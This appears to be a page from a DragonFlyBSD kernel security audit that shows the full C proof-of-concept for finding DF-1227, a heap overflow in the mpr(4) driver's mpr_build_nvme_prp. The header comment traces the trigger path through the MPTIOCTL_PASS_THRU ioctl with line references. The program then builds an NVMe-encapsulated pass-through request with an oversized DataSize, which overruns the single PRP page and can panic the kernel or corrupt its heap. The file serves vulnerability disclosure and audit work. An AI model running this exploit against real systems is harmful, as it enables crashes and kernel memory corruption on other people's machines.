โฌข DragonFlyBSD Kernel Audit
DF-1227 / mpr_nvme_prp_overflow.c
โ† back to finding โ†“ download raw
/*
 * DF-1227 โ€” mpr_build_nvme_prp heap overflow via unbounded user DataSize.
 *
 * Trigger path (all from an unprivileged opener of /dev/mprN; on most
 * systems that is root or the `operator` group โ€” see mpr_user.c:205,
 * make_dev(... UID_ROOT, GID_OPERATOR, 0640 ...)):
 *
 *   ioctl(MPTIOCTL_PASS_THRU)
 *     -> mpr_user_pass_thru()               [mpr_user.c]
 *          RequestSize is capped to sc->reqframesz (:804)
 *          but DataSize / DataOutSize are NOT capped to sc->maxio
 *          cm->cm_length = MAX(DataSize, DataOutSize)         (:904)
 *          cm->cm_data   = kmalloc(cm->cm_length)             (:908)
 *          if (Function == MPI2_FUNCTION_NVME_ENCAPSULATED)   (:945)
 *              mpr_build_nvme_prp(sc, cm, req, cm->cm_data,
 *                                 data->DataSize, data->DataOutSize)  (:970)
 *                  -> mpr.c:2716  allocates ONE PRP list page (PAGE_SIZE)
 *                  -> mpr.c:2757  while(length)  length = data_in_sz (USER)
 *                                  writes *prp_entry = paddr; prp_entry++;
 *                                  for every PAGE of the user buffer
 *                  ONE PRP page holds PAGE_SIZE/8 = 512 entries.  A user
 *                  DataSize of 8 MB describes 2048 pages -> ~1536 entries
 *                  written PAST the end of the single PRP page => heap
 *                  overflow with attacker-controlled (physical) addresses.
 *
 * This PoC issues that ioctl.  On an UNPATCHED kernel with an mpr(4)
 * controller attached and an accessible /dev/mprN device node, it panics
 * (KASSERT on INVARIANTS-GENERIC when the PRP page allocator / adjacent
 * slab is corrupted, or silent heap corruption on noinv).  The guest used
 * for this audit has NO mpr controller, so /dev/mpr0 does not exist and
 * this PoC cannot run here โ€” see VERDICT.md ("Reachability on this guest").
 *
 * Build (in-guest, against the kernel headers):
 *   cc -O -I/usr/src/sys -o mpr_nvme_prp_overflow mpr_nvme_prp_overflow.c
 * Run (requires read+write open of the node):
 *   ./mpr_nvme_prp_overflow /dev/mpr0
 */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <dev/raid/mpr/mpr_ioctl.h>
#include <dev/raid/mpr/mpi/mpi2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#ifndef MPTIOCTL_PASS_THRU
#error "mpr ioctl header not found; build with -I/usr/src/sys"
#endif

/* MPI2_REQUEST_HEADER.Function == 0x33 == MPI2_FUNCTION_NVME_ENCAPSULATED
 * (mpi2.h:719, pulled in via mpr_ioctl.h). Set this so the driver takes the
 * NVMe-encapsulated branch (mpr_user.c:945) and reaches mpr_build_nvme_prp(). */

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/mpr0";
	uint32_t huge = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0)
				   : (8u * 1024 * 1024); /* 8 MB >> typical 1 MB maxio */
	int fd;

	/* MPI2 request frame: 16-byte header is the minimum. */
	unsigned char req[64];
	unsigned char reply[128];
	void *data;

	memset(req, 0, sizeof(req));
	req[3] = MPI2_FUNCTION_NVME_ENCAPSULATED; /* offset 0x03 = Function */

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "%s: open failed: %s\n", dev, strerror(errno));
		fprintf(stderr, "(no mpr(4) controller attached on this guest"
				" => node absent; or caller lacks rw perms)\n");
		return 2;
	}

	data = malloc(huge);
	if (data == NULL) {
		perror("malloc");
		return 1;
	}
	memset(data, 0, huge);

	mpr_pass_thru_t pt;
	memset(&pt, 0, sizeof(pt));
	pt.PtrRequest    = (uint64_t)(uintptr_t)req;
	pt.RequestSize   = sizeof(req);
	pt.PtrReply      = (uint64_t)(uintptr_t)reply;
	pt.ReplySize     = sizeof(reply);
	pt.PtrData       = (uint64_t)(uintptr_t)data;
	pt.DataSize      = huge;
	pt.DataDirection = 1; /* MPR_PASS_THRU_DIRECTION_READ */
	pt.Timeout       = 30;

	printf("[DF-1227] issuing MPTIOCTL_PASS_THRU: Function=NVME_ENCAPSULATED"
	       " DataSize=%u (>~1MB maxio)\n", huge);
	printf("[DF-1227] on an UNPATCHED kernel this drives mpr_build_nvme_prp"
	       " past its single PRP page => heap overflow.\n");

	if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0) {
		printf("[DF-1227] ioctl errno=%d (%s)\n", errno, strerror(errno));
		printf("[DF-1227] NOTE: on an unpatched kernel the heap overflow at"
				" mpr_build_nvme_prp already happened before this return.\n");
	}
	close(fd);
	free(data);
	return 0;
}